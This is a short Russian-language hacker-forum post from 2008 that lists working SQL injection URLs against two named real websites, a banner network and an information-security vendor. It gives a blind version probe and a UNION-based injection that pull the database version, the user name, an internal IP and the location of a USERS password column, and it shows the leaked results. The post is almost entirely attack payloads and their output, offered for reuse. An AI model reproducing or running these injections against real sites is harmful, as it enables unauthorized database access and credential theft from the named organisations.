|
Познающий
Регистрация: 24.12.2006
Сообщений: 90
С нами:
10200612
Репутация:
168
|
|
Yadro banner network
Код:
http://web.yadro.ru/vbnstat.php3?vbnum=2+and+1=if(ascii((select+version())=0x34),1,0)--
версия mysql 4
// вообще в запросе 12 полей и отлично проходит запрос вида ?vbnum=-2+UniOn+selEct+1, 2,3,4,5,6,7,8,9,0,1,2--
но, нормально раскрутить не получилось, как цель себе не ставил
======================
SecurIT — защита информации, информационная безопасность /Программы Zlock, Zserver.../
Код:
http://www.securit.ru/press/news/?id=-63+uNioN+selEct+1,2,3,4,concat(version(),0x3a,user(),0x3a,database()),6,7,8,9,0,1--
5.0.45-log:u17160@10.10.10.219:u17160
Код:
http://www.securit.ru/press/news/?id=-63+uNioN+selEct+1,2,3,4,concat(table_schema,0x3a,table_name,0x3a,column_name),6,7,8,9,0,1+from+information_schema.columns+where+column_name=0x70617373776f7264+limit+0,1--
u17160:USERS:PASSWORD
Последний раз редактировалось big_BRAT; 07.02.2008 в 16:43..
|